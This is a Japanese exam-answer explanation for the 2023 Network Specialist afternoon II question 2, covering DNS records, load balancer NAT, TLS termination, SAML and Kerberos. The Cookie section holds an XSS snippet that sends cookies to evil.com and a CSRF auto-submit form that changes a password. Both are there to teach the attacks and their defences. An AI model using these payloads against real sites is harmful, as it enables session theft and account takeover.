令和5年（2023年）ネスペ午後Ⅱ　問Ⅱ　解答解説

  1. 設問１
    1. （１）a: NS　b: MX　c: 100.α.β.1　d: 100.α.β.3　e: 192.168.1.1　f: 192.168.1.3
  2. 設問２
    1. （１）コモン名とURLのドメイン名が異なるから
      1. Q.CNとSANの違いは？
  3. 設問３
    1. （３）回答は下図参照
      1. Q.LBでソースNATを実施しない場合、ECサーバから200.a.b.cに返信するときにどうやってLBを通すの？
      2. Q.根本的にLBがSNATを使う時と使わないときのメリット・デメリットって何？
      3. Q.TLSハンドシェイクはどうなるの？
  4. 設問４
    1. （１）機器：LB　IPアドレス：仮想IPアドレス
      1. Q.項番5と項番11は変更する必要ある？
    2. （２）IPアドレス
      1. Q.なんでホスト名を変更する必要があるの？
    3. （３）FWzからLBに変更
    4. （５）既設ECサーバにインストールされているサーバ証明書と秘密鍵のペアをLBに移す
      1. Q.そもそもなぜLBをTLS終端にする必要があるのか？
      2. Q.LBのTLS仲介はどうやってやっているの？
  5. 設問５
    1. （２）サーバの応答に含まれるCookie中のセッションIDが、セッション管理テーブルに存在しない場合。
  6. 設問６
    1. （１）アクセス元の購買担当者が所属している会員企業の情報
      1. Q.そもそもシステムはどうやってユーザが属する会社を判定するの？
    2. （４）①信頼関係のあるIdPが生成したものであること　　　②SAMLアサーションが改ざんされていないこと
    3. p.12 DNSレコードをどういう流れで使われているの？どうやって見るの？
      1. ▼インターネット側ユーザがhttps://ecsv.example.jpにアクセスする場合
      2. ▼インターネット側ユーザがY社メールサーバにへ送信する場合
      3. ▼内部からhttps://ecsv.y-sha.example.lan/にアクセスする場合
      4. ▼内部からインターネット上のドメインの名前解決
    4. Q.なんでNSレコードはあるの？
    5. Q.SOAレコードはどうやって見るの？
    6. p.13 表１を実現するためのNATコマンドは？
    7. p.13 Cookie
    8. Q.Cookieの「セキュリティ属性」には何がある？
    9. Q.XSS（クロスサイトスクリプティング）って何？
      1. ▼XSSのフロー
      2. Q.HttpOnlyをすると正規のサービスに支障が出るのでは？
      3. Q.XSSによってセッションIDが奪われたらどうなるの？
    10. Q.CSRF（クロスサイトリクエストフォージェリ）って何？
      1. ▼CSRF攻撃のフロー
    11. p.14 Q.SSHでの接続とは？
      1. ▼SSHの接続フロー
      2. ▼SSHのコマンド
    12. p.15 Q.ソースNATとは？
      1. Q.SNATとDNATの違いは？
      2. Q.SNATとDNATのコマンドの違いは？
    13. p.16 Q.なんで運用PCからECサーバへ通信できないの？
    14. p.16 Q.X-Forwarded-Forとは？
    15. p.18 Q.SAML2.0ってなに？
    16. p.19 Q.ケルベロスって何？

設問１

（１）a: NS　b: MX　c: 100.α.β.1　d: 100.α.β.3　e: 192.168.1.1　f: 192.168.1.3

Markdown
@       IN  SOA  ns.example.jp. hostmaster.example.jp. (省略)
        IN  a=NS   ns.example.jp.
        IN  b=MX   10 mail.example.jp.
ns      IN  A    c=100.α.β.1
ecsv    IN  A    (省略)
mail    IN  A    d=100.α.β.3
@       IN  SOA  ns.y-sha.example.lan. hostmaster.y-sha.example.lan. (省略)
        IN  NS   ns.y-sha.example.lan.
        IN  MX   10 mail.y-sha.example.lan.
ns      IN  A    e=192.168.1.1
ecsv    IN  A    (省略)
mail    IN  A    f=192.168.1.3

この問題は表１を参考にしながら埋めていく問題である。以下の手順で考えるとわかりやすい。
①外部用か内部用かを把握する（これにより変換前のIPか変換後なのかが分かる）
②サービスを特定する（ホストからMX、NS、HTTPなどを判断できるので、あとはそのサービスに対応するプロトコルのIPを選ぶ）
以上の２ステップにより適切なIPを埋めることができる。

設問２

（１）コモン名とURLのドメイン名が異なるから

これはサーバ証明書の検証の際に、エラーがなぜ起きたのかが問われている。
サーバ証明書の検証では主に以下のことを確認する
・証明書の有効期限
・CRLやOCSPを使って失効状態の検証
・証明書に付加された署名の検証
・アクセス先URLのドメインと証明書のCNまたはSANフィールドに記載されたドメインを確認

上記の４つ目の手順がまさに本問の核心。現在の環境では、マルチドメインに対応しておらず、証明書にはCN（コモン名）がecsv.example.jpに対する証明しかできない。そのため、ecsv.y-sha.example.lanの要求に対しては、適切な証明書が返せずエラーになってしまう。

Q.CNとSANの違いは？

CNもSANも、「このサーバー証明書がどのFQDN（ドメイン名）に対して発行された正当なものか」を証明する識別フィールドである。

CN（Common Name：コモン名）：
　・原則として1つのドメイン名（例: example.com）しか指定できない

SAN（Subject Alternative Name：主体別名）：
　・1つの証明書内に複数のドメイン名を一覧でリスト保持できる（例: example.com, example.jp, sub.example.com など）。
　・ドメイン名（DNS Name）だけでなく、IPアドレス（例: 192.168.1.1） なども別名として含めることができるため、マルチドメインや柔軟な構成に対応できる。

設問３

（３）回答は下図参照

図5中の番号LBでソースNATを行わない場合送信元IPアドレスLBでソースNATを行わない場合宛先IPアドレスLBでソースNATを行う場合送信元IPアドレスLBでソースNATを行う場合宛先IPアドレス
(i)200.a.b.ci: 100.α.β.2
200.a.b.ci: 100.α.β.2
(ii)200.a.b.cj: 192.168.1.2
200.a.b.cj: 192.168.1.2
(iii)200.a.b.c192.168.1.5k: 192.168.1.4
192.168.1.5
(iv)192.168.1.5200.a.b.c192.168.1.5k: 192.168.1.4
(v)j: 192.168.1.2
200.a.b.cj: 192.168.1.2
200.a.b.c
(vi)i: 100.α.β.2
200.a.b.ci: 100.α.β.2
200.a.b.c

i: 100.α.β.2
　外部からECサーバにアクセスする際は、HTTPSサービスとしてFWzで100.α.β.2が公開されている。そのため、外部からECサーバへ来るときの宛先は100.α.β.2になる。

j: 192.168.1.2
　表１のNATテーブルを見ると、100.α.β.2宛てのパケットは、192.168.1.2に変換される。なお、192.168.1.2はLBの仮想IPアドレスでもある。

k: 192.168.1.4
　LBがソースNATを実行する場合は、外部からのパケットの送信元はLB自身のIPアドレスに変換して転送する。
　ちなみにここでは、SNATとDNATの両方を実行していることになる。

Q.LBでソースNATを実施しない場合、ECサーバから200.a.b.cに返信するときにどうやってLBを通すの？

A.ECサーバのデフォルトゲートウェイをLB（192.168.1.4）に設定する。そうすることにより、ECサーバからの返信はLBを通る。
LBは行きの通信でDNATをしているので、そのセッションテーブルを参考に、「200.a.b.cからの通信はECサーバ192.168.1.5に送った」という変換テーブルを参照する。
「あ、これはさっき 192.168.1.5 に振り分けた通信の返事だな」と認識し、送信元を仮想IPアドレスの192.168.1.2に自動変換してしてFWzに返す。
＊この処理をSNATと勘違いしてしまう人もいるがこれは、あくまでもDNATの復路に対する自動処理に過ぎない！

Q.根本的にLBがSNATを使う時と使わないときのメリット・デメリットって何？

「結果的にどちらもLBを通る」という点では同じ。ではこの2つの方式の決定的な違いは、なんなのか。。それは、「ECサーバーの既存ネットワーク設定（デフォルトゲートウェイ）を変更できるか」と「ECサーバー側でクライアントの生のIPアドレスを直接知る必要があるか」の2点に集約される。

項目SNATを行わない場合（DGW＝LB）SNATを行う場合（SNATモード）
送信元IP（EC側で見えるIP）クライアントの生IP（200.a.b.c）LBのIP（192.168.1.4）
EC側のデフォルトゲートウェイLBに向ける変更が必須変更不要（既存のFWzなどのままでOK）
導入のしやすさネットワーク構成の変更が必要既存構成にLBをポン付け（ワンアーム接続）可能
ログ確認・IP制限Webサーバーのログに生IPが残るアプリ/L7側で X-Forwarded-For ヘッダー等の参照が必要

Q.TLSハンドシェイクはどうなるの？

途中の経路でDNAT、SNATが挟まっているとIPアドレスがコロコロ変わる。その場合、TLSハンドシェイクはどうなるの？
A.途中の経路でどんなにIPが変わったとしてもTLSハンドシェイクには全く影響がない。ブラウザ（クライアント）がTLSハンドシェイクでサーバー証明書を検証する際、チェックしているのはパケットの宛先IPアドレスではない。ブラウザは「自分がアクセスしようとしたドメイン名」と「証明書に書いてあるドメイン名」が一致しているかだけを検証する。そのため、ヘッダーに書かれたIPアドレスが途中で何回書き換わっていようと、証明書の検証ロジックには1ミリも影響しない。

設問４

（１）機器：LB　IPアドレス：仮想IPアドレス

Markdown
@       IN  SOA  ns.example.jp. hostmaster.example.jp. (省略)
        IN  a=NS   ns.example.jp.
        IN  b=MX   10 mail.example.jp.
ns      IN  A    c=100.α.β.1
ecsv    IN  A    (省略)=100.α.β.2
mail    IN  A    d=100.α.β.3
@       IN  SOA  ns.y-sha.example.lan. hostmaster.y-sha.example.lan. (省略)
        IN  NS   ns.y-sha.example.lan.
        IN  MX   10 mail.y-sha.example.lan.
ns      IN  A    e=192.168.1.1
ecsv    IN  A    (省略)=192.168.1.2
mail    IN  A    f=192.168.1.3

今までは、100.α.β.2宛ては192.168.1.2にDNATされた後に、ECサーバへ直接転送していた。しかし、LBを導入したことにより宛先をLBの仮想IPに変更する必要がある。
そのため、答えはLBと仮想IPになる。

Q.項番5と項番11は変更する必要ある？

A.変更する必要はない。なぜならFWzがDNATで使っていた192.168.1.2をLBの仮想IPとして使いまわしているから。そのため、DNSのレコードを変更する必要はない。

（２）IPアドレス

既設ECサーバには192.168.1.2が割り当てられていたが、LBの導入により当該IPをLBが使うことになった。そのため、既設ECサーバのIPアドレスを変更する必要がある。
＊ちなみになぜLBに奪われるかというと、DNSの項番5,11の変更をしないでもよくするため。192.168.1.2をLBに渡せば、DNSを変更することなくHTTPSサービスを運用し続けることができる。

Q.なんでホスト名を変更する必要があるの？

Hjson
項番５ ecsv IN A 100.α.β.2

項番11 ecsv IN A 192.168.1.2

LBにecsv1のホスト名を割り当てて、既設ECサーバはそのままecsvのホスト名だったらどうなるの？正直、クライアントからの要求は最終的に192.168.1.2に変換されるのでLBに届く。なので、別に既設ECサーバのホスト名を変える必要はどこにあるの？

A.「DNSで ecsv を引いて 192.168.1.2（LB）が返ってくる以上、クライアントからの通信は絶対にロードバランサーに到達する」。ここは何の疑いもない動かぬ事実。
しかし、メンテナンス時などに、直接既設ECサーバにアクセスしたいときに疎通ができなくなる。ECSVを引いてもLBのIPが返ってくる。かといって、IPアドレスで直接通信を試みると可能っちゃ可能だが、IPアドレスを管理する手間が出てくる。
ということで、基本的にはホスト名とIPアドレスは一致させた状態で管理しておくのが定跡というわけである。

（３）FWzからLBに変更

LBでSNATを実行しないとECサーバが直接FWzにパケットを返すことになる。しかし、そうなると送信元はECサーバのIPのままであるためFWzは「え？君からのパケットなんて知らないよ。。」ということでFWzからインターネットへ疎通してくれなくなってしまう。
それを防ぐにはLBを経由させて、しっかりとLBに逆DNATをしてもらう必要がある。
その方法はシンプルで、ECサーバのデフォルトゲートウェイをFWzからLBに変更すればインターネット宛てへのパケットはすべてLBを通らせて、しっかりと復路用のDNAT変換をしてFWzに送ってくれる。そうなれば、FWzも「あ、このパケットね！それならちょっと前にセッションテーブルに記録したペアだから、それを変換してインターネットに流すね！」とすることができる。

（５）既設ECサーバにインストールされているサーバ証明書と秘密鍵のペアをLBに移す

LBに既設サーバのサーバ証明書と秘密鍵のペアを配置することでLBをTLS終端にする。

Q.そもそもなぜLBをTLS終端にする必要があるのか？

今回の問題の全体像を、正しい因果関係で並べ直すとこうなる👇

  1. 前提（運用PCとの通信）:
    運用PCからECサーバーにアクセスできるようにするため、ECサーバーのデフォルトゲートウェイは FWz にしておく必要がある。
  2. 課題1（復路問題）:
    デフォゲがFWzだとWebアクセスの戻りパケットがLBを通らないため、LBでソースNAT（SNAT）をして、強制的に戻りパケットをLBに向かわせる。
  3. 課題2（IP隠蔽問題）:
    SNATをするとECサーバー側でアクセス元のIPが分からなくなるため、HTTPヘッダーに X-Forwarded-For を挿入したい。
  4. 解決策（TLS終端 ＋ 証明書移行）:
    HTTPヘッダーを操作するにはLBで暗号を解く（TLS終端する）必要があるので、既設ECサーバーの「証明書と秘密鍵」をLBに移してTLS終端を行わせる。

Q.LBのTLS仲介はどうやってやっているの？

SSLオフロード（TLS終端）などでTLSを仲介するときって具体的に何をやっているの？IPアドレスを変えているだけなのかな？

A.TLSを仲介するときは０からパケットを作っている。LBがECサーバから受け取ったパケットを流用しているわけではない。ECサーバからもらったパケットを、必要な情報を抽出し０から適切なパケットを作っている。

設問５

（２）サーバの応答に含まれるCookie中のセッションIDが、セッション管理テーブルに存在しない場合。

ここでは、LBがセッション管理テーブルに登録するトリガーがきかれている。
そもそも、セッションIDを作成するのはサーバなので、そのサーバからの応答パケットのセッションIDがセッション管理テーブルにない場合は、新しいセッションとしてセッション管理テーブルに記録する。

設問６

（１）アクセス元の購買担当者が所属している会員企業の情報

この問いでは、SPがIdPにリダイレクトする際に、どの情報を使ってリダイレクト先を割り出すのかが問われている。
正解はシンプルでアクセス元の購買担当者が所属している会員企業の情報である。
これだけ聞くと「。。ん？」となるので具体例を出しながら見ていこう！

▼具体的なフロー（SAMLとケルベルスの連携）
１．会員企業Aに属するユーザaがECサーバにアクセス
２．ECサーバはユーザaの所属する会員企業の情報からIdPを特定しリダイレクト←設問になっている箇所
３．IdPはユーザからの要求を受けるが、ユーザはSTを持っていないのでST持ってから出直してとユーザに伝える
４．ユーザはKDC（TGS）にSTを要求し、発行してもらう
５．再度、IdPにアクセスする
６．正当なSTがあるのでIdPはユーザにSAMLアサーションを発行してあげる
７．SAMLアサーションをECサーバに提示して許可されたユーザであることを証明する
８．ECサーバはSAMLアサーションを検証してアクセスを許可する

Q.そもそもシステムはどうやってユーザが属する会社を判定するの？

「購買担当者が所属している会員企業の情報」なんて抽象的な言葉を言われても、「じゃあ実際の画面でユーザーに何を入力させて、システムはどうやってそれを判定するんだよ？」と疑問が出るのは当然のこと。モヤモヤしている「実際にどうやって判定しているのか」をスッキリ整理する。

  1. メールアドレス入力方式
    • ログイン画面で tanaka@e-sha.co.jp と入力させる。
    • ECサーバーは @ 以降の e-sha.co.jp（ドメイン） を見て、「あ、この人はe社だな。じゃあe社のIdPのURLへリダイレクトしよう」と判断する。
  2. 企業コード / ドメイン入力方式
    • ログイン画面で「企業コード（またはドメイン）」を入力させる。
  3. 企業専用ログインURL方式

（４）①信頼関係のあるIdPが生成したものであること　　　②SAMLアサーションが改ざんされていないこと

SAMLアサーションで検証できるものは「真正性（送信元が本物か）」と「完全性（改ざんされていないか）」である。
これは「SAMLアサーションだから」という固有の機能ではなく、基盤となっている「デジタル署名（公開鍵暗号＋ハッシュ関数）」という仕組みそのものが、本質的に「真正性」と「完全性」を担保する性質を持っているだけの話。
この仕組みを使っているTLSハンドシェイクやS/MIMEなどでも同様に真正性と完全性が保証されている。

p.12 DNSレコードをどういう流れで使われているの？どうやって見るの？

Markdown
@       IN  SOA  ns.example.jp. hostmaster.example.jp. (省略)
        IN  NS   ns.example.jp.
        IN  MX   10 mail.example.jp.
ns      IN  A    100.α.β.1
ecsv    IN  A    (省略)
mail    IN  A    100.α.β.3
@       IN  SOA  ns.y-sha.example.lan. hostmaster.y-sha.example.lan. (省略)
        IN  NS   ns.y-sha.example.lan.
        IN  MX   10 mail.y-sha.example.lan.
ns      IN  A    192.168.1.1
ecsv    IN  A    (省略)
mail    IN  A    192.168.1.3

では、ここでは例を使いながらDNSのフローを確認していこう！

▼インターネット側ユーザがhttps://ecsv.example.jpにアクセスする場合

１．ルート
　まずはルートに問い合わせ、そこから次に.jpに関するNSレコードとGlueレコード（Aレコード）をもらう
２．.jp権威DNS
　　次に.jp権威DNSに問い合わせ、そこから.example.jpに関するNSレコードとGlueレコード（Aレコード）をもらう
３．Y社の.example.jpにアクセスしecsv.example.jpのAレコードをもらう
　ecsv.example.jp.はY社DNSが管理しているので、そのAレコードをレスポンスしてあげる

▼インターネット側ユーザがY社メールサーバにへ送信する場合

１．MXレコードの取得
　Y社にメールを送信したい場合、送信側はまずはY社ドメインに対するMXレコードを取得する。
　→そうすると、Y社側のメールサーバのホスト名が判明する
２．メールサーバの名前解決
　手順１でもらったメールサーバのホスト名を名前解決する
３．メール送信
　２で得たIPアドレス宛てにメールパケットを送信する

▼内部からhttps://ecsv.y-sha.example.lan/にアクセスする場合

１．運用PCには最初からDNSサーバが登録されている
　運用PCのネットワーク設定（IP設定やDHCP）には最初から参照先DNS＝DMZのDNSサーバ（192.168.1.1）が登録されている
２．DNSサーバに問い合わせる
　ecsv.y-sha.example.lanのAレコードをDNSサーバに問い合わせる
３．Aレコードの応答
　DMZのDNSサーバは自身が保持するゾーン情報（図2の項番11）を検索する。
　→該当レコードが見つかるため、外部に一切問い合わせることなく、その場で直接回答を返す

▼内部からインターネット上のドメインの名前解決

１．ユーザがFQDN（例：google.com.）をDNSに問い合わせる
２．DNSは自分の管理下か否かを判断する
　管理下であれば→レコードを返す
　管理下でなければ→ルートから順番に外部のDNSに反復問い合わせをする

つまり、Y社のDMZにあるDNSサーバは権威DNSであると同時にキャッシュDNSサーバでもあるということ。

Q.なんでNSレコードはあるの？

DNSのフローを確認すると、上位DNSサーバが1つ下のNSレコードとAレコード（Glue）を教えてくれる。つまり、1つ下の権威DNSではNSレコードいらなくね？だって上位DNSが既にユーザに当該DNSサーバのホスト名を教えちゃってるんだから。。。それなのになぜ当該DNSサーバでもNSレコードを準備しておくの？不要では？

A.「親ゾーンから教えてもらったから、もう権威DNSにNSレコードを聞く必要がない」と思われがちだが、実際には以下のような場面で権威DNSへNSレコードが問い合わせられている。

  1. dig example.jp NS や nslookup -type=NX example.jp を実行したとき
    コマンドで直接ドメインのNSレコードを調べるとき、キャッシュDNSは権威DNSサーバーへ直接「NSレコードをちょうだい」と問い合わせに行く。
  2. キャッシュDNSが知識を「最新化」するとき
    キャッシュDNSは、親ゾーンから聞いたNS情報（委任情報）で権威DNSに辿り着いたあと、「念のため、お前（権威DNS）自身が持っている正しく最新のNSレコードを教えて」と確認し、自分のキャッシュを上書き更新する
  3. RFCのルール
    DNSの基本仕様を定めた規格（RFC 1034 / 1035）において、「すべてのゾーンファイルの頂点（@）には、必ずSOAレコードと1つ以上のNSレコードを記述しなければならない（MUST）」と厳密にルール化されている

Q.SOAレコードはどうやって見るの？

SOA（StartOfAuthority）レコードは、そのゾーン（ドメインの管理領域）における「管理責任者の情報」と「プライマリDNS・セカンダリDNS間での同期ルール（ゾーン転送ルール）」を定義するヘッダー情報。

Markdown
@ IN SOA ns.example.jp. hostmaster.example.jp. (
        2026092001 ; Serial (シリアル番号)
        3600       ; Refresh (更新確認の間隔)
        900        ; Retry   (再試行までの待ち時間)
        604800     ; Expire  (データの有効期限)
        86400      ) ; Minimum / Negative Cache TTL (存在しない情報の保持時間)

ns.example.jp.（プライマリDNSサーバー）

  • 意味: このゾーンのマスターデータ（元データ）を保持している主DNSサーバー（マスター/プライマリDNS）のFQDN

hostmaster.example.jp.（管理者メールアドレス）

  • 意味: このゾーンの管理者の連絡先メールアドレス。
  • ポイント: メールアドレスの @ はDNSのゾーンファイルにおいて特別な意味（ゾーン名自体を表すシンボル）を持つため、最初の .（ドット）を @ に読み替えるルールになっている。つまり、これは hostmaster@example.jp を表している。

p.13 表１を実現するためのNATコマンドは？

Hjson
#DMZ側（G0/1）: ip nat inside（内側ネットワークと定義）
#インターネット側（G0/0）: ip nat outside（外側ネットワークと定義）
ip nat inside source static tcp 192.168.1.1 53 100.α.β.1 53
ip nat inside source static udp 192.168.1.1 53 100.α.β.1 53
ip nat inside source static tcp 192.168.1.2 443 100.α.β.2 443
ip nat inside source static tcp 192.168.1.3 25 100.α.β.3 25

interface GigabitEthernet0/0
 description Internet-Side
 ip address 100.α.β.254 255.255.255.0
 ip nat outside
 
interface GigabitEthernet0/1
 description DMZ-Side
 ip address 192.168.1.254 255.255.255.0
 ip nat inside

p.13 Cookie

HTTPは本来ステートレスなプロトコルだがCookieを使うことでステートフルとして扱うことができる。

1. 初回アクセス時（認証・セッション発行）
　ユーザーがログイン画面でID/パスワードを送信して認証が成功すると、Webサーバー側でランダムなセッションIDが生成される。

  • Webサーバー → Webブラウザ（応答）
    • HTTPレスポンスヘッダーの Set-Cookie フィールドにセッションIDを入れて返す。
    • Set-Cookie: PHPSESSID=abc123xyz...

2. ブラウザによる保存
　Webブラウザはレスポンスの Set-Cookie を見ると、指示されたセッションIDを自身のローカル記憶領域（Cookieストレージ）に保存。

3. 2回目以降のアクセス（状態の維持）
　ブラウザは以降同じWebサイトにリクエストを送る際、保存してあるセッションIDを自動的に引き出してヘッダーに付与する。

  • Webブラウザ → Webサーバー（要求）
    • HTTPリクエストヘッダーの Cookie フィールドにセッションIDを入れて送信します。
    • Cookie: PHPSESSID=abc123xyz...

4. サーバー側での識別（擬似ステートフル）
　Webサーバーは届いた Cookie ヘッダーのセッションIDを見て、自身のメモリやDBにあるセッション情報と照合する。 「あ、このセッションIDはさっきログインしたAさんだ」と認識できるため、ページを遷移してもログイン状態を維持（ステートフル化）できる。

Q.Cookieの「セキュリティ属性」には何がある？

Set-Cookie に付与するセキュリティ属性を3つ押さえておくとさらに知識が確実になる。

  • Secure 属性
    • 効果: HTTPS通信のときだけCookieを送信させる（HTTPのときは送信しない）。
    • 目的: 盗聴（盗み見）によるセッションハイジャックを防ぐ。
  • HttpOnly 属性
    • 効果: JavaScriptなどのスクリプトからCookieへのアクセス（document.cookie）を禁止する。
    • 目的: XSS（クロスサイトスクリプティング）攻撃によって悪意ある第三者にセッションIDを盗まれるのを防ぐ。
  • SameSite 属性
    • 効果: 他のサイトからのリンクやフォーム送信時にCookieを送信するか制御する（Strict / Lax / None）。
    • 目的: CSRF（クロスサイトリクエストフォージェリ）攻撃を防ぐ。

Q.XSS（クロスサイトスクリプティング）って何？

Webサイトの脆弱性を突いて、アクセスしたユーザーのブラウザ上で悪意のあるJavaScriptを実行させる攻撃。

▼XSSのフロー

１．攻撃者が、掲示板などの入力フォームに以下のようなJavaScriptコードを投稿

HTML
<script>
  // 被害者のCookieを奪って攻撃者のサーバーに送信するコード
  location.href = 'https://evil.com/steal?cookie=' + document.cookie;
</script>

２．一般のユーザー（被害者）がその掲示板ページを開く。
３．被害者のブラウザは、それを「サイトの正常なコード」だと勘違いしてJavaScriptを実行してしまう。
４．結果として、被害者のセッションID（Cookie）が攻撃者に送信されて奪われる。

Q.HttpOnlyをすると正規のサービスに支障が出るのでは？

Q.HttpOnlyをするとXSSの対策になる。これは不正なJavaScriptコードからCookieを使わせないからである。しかし、これをしたら正規のサービス側がCookieを使おうとした場合もブロックされてしまうのでは？そしたらステートフルな通信が実現しないのでは？

A.WebブラウザとWebサーバーの間でCookieをやり取りしているのは、JavaScriptではなく「ブラウザそのもの（HTTP通信の機能）」。

  1. サーバーが Set-Cookie: PHPSESSID=12345 を返す。
  2. ブラウザ本体がそれを自動で記憶する。
  3. 次回アクセス時、ブラウザ本体が自動的に Cookie: PHPSESSID=12345 ヘッダーを付けて送信する。

この裏側の自動やり取りに、JavaScriptは1行も挟まっていないため、HttpOnlyを使ってもステートフルを維持できる。

Q.XSSによってセッションIDが奪われたらどうなるの？

Q.XSSによってセッションIDが奪われることは理解できたが、奪われたことによって何が起きるのかがいまいちわかっていない。。。何が起きるの？

A.Webサーバーは、リクエストが来たときに「正しいセッションIDが付いているか」だけで本人かどうかを識別している。IDやパスワードを毎回確認しているわけではない。そのため、攻撃者があなたのセッションIDを手に入れて自分のブラウザにセットしてアクセスすると、Webサーバーは「あ、ログイン済みの本人（あなた）が操作しているな」と完全に勘違いする。

パスワードを知られなくても、あなたがログイン後にできる操作はすべて攻撃者にもできてしまう。

  • 個人情報の閲覧・悪用：当該サイト内に登録された氏名、住所、電話番号、クレジットカード情報（下数桁や登録情報）、購入履歴などの閲覧
  • 不正な処理の実行：
    • 当該サイトがECサイトの場合は勝手に商品を注文し、送付先を攻撃者の住所にする
    • 当該サイトがSNSや掲示板の場合、本人になりすまして不正な投稿やダイレクトメッセージを送る
    • 当該サイトがネットバンキングの場合、不正送金を行う
  • アカウントの完全な奪取：
    • 登録メールアドレスやパスワードを攻撃者のものに変更し、本来のユーザーを締め出す

Q.CSRF（クロスサイトリクエストフォージェリ）って何？

CSRF（Cross-Site Request Forgery：クロスサイトリクエストフォージェリ）は、ログイン状態にあるユーザーのブラウザを悪用し、本人が意図しない「処理のリクエスト（要求）」を偽造して対象サーバーに送信させる攻撃。XSSとの最大の違いは、攻撃者がセッションIDやパスワードを盗む必要が一切ないという点。

▼CSRF攻撃のフロー

１．前提条件:
　あなたがショッピングサイト（ec-shop.com）にログインしており、ブラウザにログイン状態のCookieが保持されている。
２．罠サイトへの誘導:
ログインした状態のまま、攻撃者から届いた「お買い得情報！」というメールのリンクをクリックし、攻撃者の罠サイト（evil.com）を開いてしまう。
３．勝手なリクエスト送信:
罠サイトの背景には、以下のような見えないフォームと自動実行スクリプトが仕込まれている。

HTML
<!-- 罠サイト（evil.com）内に仕込まれたコード -->
<form action="https://ec-shop.com/change-password" method="POST">
  <input type="hidden" name="new_password" value="attacker_password123" />
</form>
<script>document.forms[0].submit();</script>

４．ブラウザによる自動送信:
　罠サイトを開いた瞬間にフォームが自動送信されます。宛先は ec-shop.com なので、あなたのブラウザは保持している ec-shop.com のログインCookieを自動で添付して送信。
５．被害の発生:
　ec-shop.com のサーバーは「ログイン済みのあなたからパスワード変更の要求が来た」と判断し、パスワードを attacker_password123 に書き換えてしまう。

p.14 Q.SSHでの接続とは？

Q.SSHってなんとなく、「リモート機器に対して暗号化して操作する」みたいな認識はあるけど、いまいちどうやっているのかが分かっていない。。。ということで明確にしていこう！

A.では、SSH（SecureShell）の通信フローを確認しながら紐解いていこう

▼SSHの接続フロー

１．DH鍵交換：
　・クライアントとサーバーがそれぞれの使い捨ての「一時鍵（秘密鍵と、秘密鍵をベースにした公開鍵）」を使ってDHを実行。
　・DHにより互いに同じ共通鍵（セッション鍵）を得る。
２．暗号化の開始：
　・得られた共通鍵で、以降の通信をすべて暗号化する。
３．認証要求：
　・暗号化された通信内で「ユーザーXでログインしたい」と要求する。
４．チャレンジ送信：
　・サーバーが「今回のセッションID」などのデータを送る。
５．署名作成：
　・クライアントが自身の「長期的秘密鍵」でデータに署名し、暗号化して返す。
　・ここで使う秘密鍵はサーバにも事前に登録されている公開鍵と紐づいた秘密鍵である。
６．署名検証：
　・サーバーが登録済みの「長期的公開鍵」で署名を検証し、本人と確認できればログイン許可。
７．以降の通信：
　・最初にDHで作った共通鍵のまま、暗号化してシェル操作などを行う。

▼SSHのコマンド

PowerShell
en
conf t
hostname ホスト名
ip domain name ドメイン名
ip ssh version 2
crypto key generate rsa modulus 1024

line vty 0 4
login local
transport input telnet ssh

#接続時（PC側にて）
ssh ユーザ名@IPアドレス

p.15 Q.ソースNATとは？

NATにはSNAT、DNAT、スタティックNAT、ダイナミックNAT、NAPTなどの複数の種類があり混乱を引き起こしてしまう。しかし、大きく分けて２つの軸で分類するとわかりやすくなるので一緒に見ていこう！

▼NATの全体像

PowerShell
【軸A：何を書き換えるか？】
 ├── SNAT（Source NAT）     ：送信元IPを書き換える
 └── DNAT（Destination NAT）：宛先IPを書き換える

【軸B：どう割り当てるか？】
 ├── スタティックNAT（Static） ：1対1で「固定」変換
 ├── ダイナミックNAT（Dynamic）：プールした複数のIPから「動的」に割り当て
 └── NAPT（IPマスカレード/PAT）：IP＋「ポート番号」を使って1つのIPを複数台で共有

Q.SNATとDNATの違いは？

SNATとDNATの区別がよくわからない。。だって、行きの通信で宛先をプライベートIPに変換するDNATをするとするじゃん。で、そのパケットが返ってくるときは、送信元をグローバルIPにして返信するじゃん？要はSNATをしているのでは？ということはDNATをやればSNATが必然的に実行されるってこと？

A.DNATの戻りパケットはSNATとは呼ばずDNATの逆変換と解釈する。帰りのパケットで送信元IPが変わっているが、これはあくまで「行きのDNATの対となる自動処理」であるため、技術的には「SNATを実行した」とは言わず、全体として「DNAT通信（の復路）」と呼ぶ。
これはSNATも同じ。帰りでは宛先を変換するがこれはDNATとは呼ばずに単なる「行きのSNATの対となる自動処理」。

Q.SNATとDNATのコマンドの違いは？

Hjson
▼SNAT
(config)# ip nat inside source list <ACL> pool <POOL名> overload

▼DNAT
(config)# ip nat inside destination list <ACL> pool <SERVER_POOL名>

p.16 Q.なんで運用PCからECサーバへ通信できないの？

本文中にもある通り、LBはルータとしては機能しない。要はVIP宛ての通信のみセッションテーブルに記録して負荷分散を実施する。
しかし、運用PCとECサーバとの通信はVIP宛てになる瞬間がないのでセッションテーブルに記録されておらず宛先が分からず、ECサーバから運用PCへの復路パケットはLBで破棄される。

＊ちなみに👇より、運用PCサブネット(192.168.0.0/24)とz-DCのサブネット(192.168.1.0/24)は異なるため、ECサーバは必然的にデフォルトルートであるLBに送らざるを得ない。もし、運用PCとECサーバが同一サブネット内であればデフォルトルートを経由しないため、運用PCとECサーバでの通信が可能になる。

p.16 Q.X-Forwarded-Forとは？

SNATを実施する機器にて、本来の送信元を保持するためのHTTP拡張機能。
SNATをすると送信元が変わってしまう。そのままだと受信はすべてのパケットがSNAT変換されたIPになってしまい、ログ解析・フィルタリングなどの送信元IPを使った機能が無駄になってしまう。
そこで、X-Forwarded-ForというHTTP拡張機能を使うことで、SNATを実施してもHTTP拡張ヘッダーの中に本来の送信元を記載してパケットを転送する。そうすることで受信側は、X-Forwarded-Forに格納されているIPを対象にフィルタリング・ログ解析等を実施することができるようになる。

p.18 Q.SAML2.0ってなに？

SAML（SecurityAssertionMarkupLanguate2.0）とは「異なるシステム間で安全にシングルサインオン（SSO）を実現するための共通ルール（標準規格）。
サービスごとにIDやパスワードを管理するのではなく、IdP（アカウントを一元管理するサーバー）に認証を任せる。IdPから『この人は本人だよ』という証明書（SAMLアサーション）が届くことでログインを許可するため、サービス側でパスワードを保持・管理する必要がなくなり、運用負荷や漏洩リスクを大幅に減らせる。

p.19 Q.ケルベロスって何？

ケルベロス認証とは社内のSSOをサポートする仕組みである。ケルベロス認証が生まれた最大の理由・メリットは以下の3点。

  1. 生パスワードをネットワーク上に絶対に流さない（★最大のメリット）
    パスワードそのものはクライアント側で暗号キーを作るためだけに使い、通信上には暗号化されたチケットやセッション鍵しか流れない。
  2. 社内ネットワークでのシングルサインオン（SSO）の実現
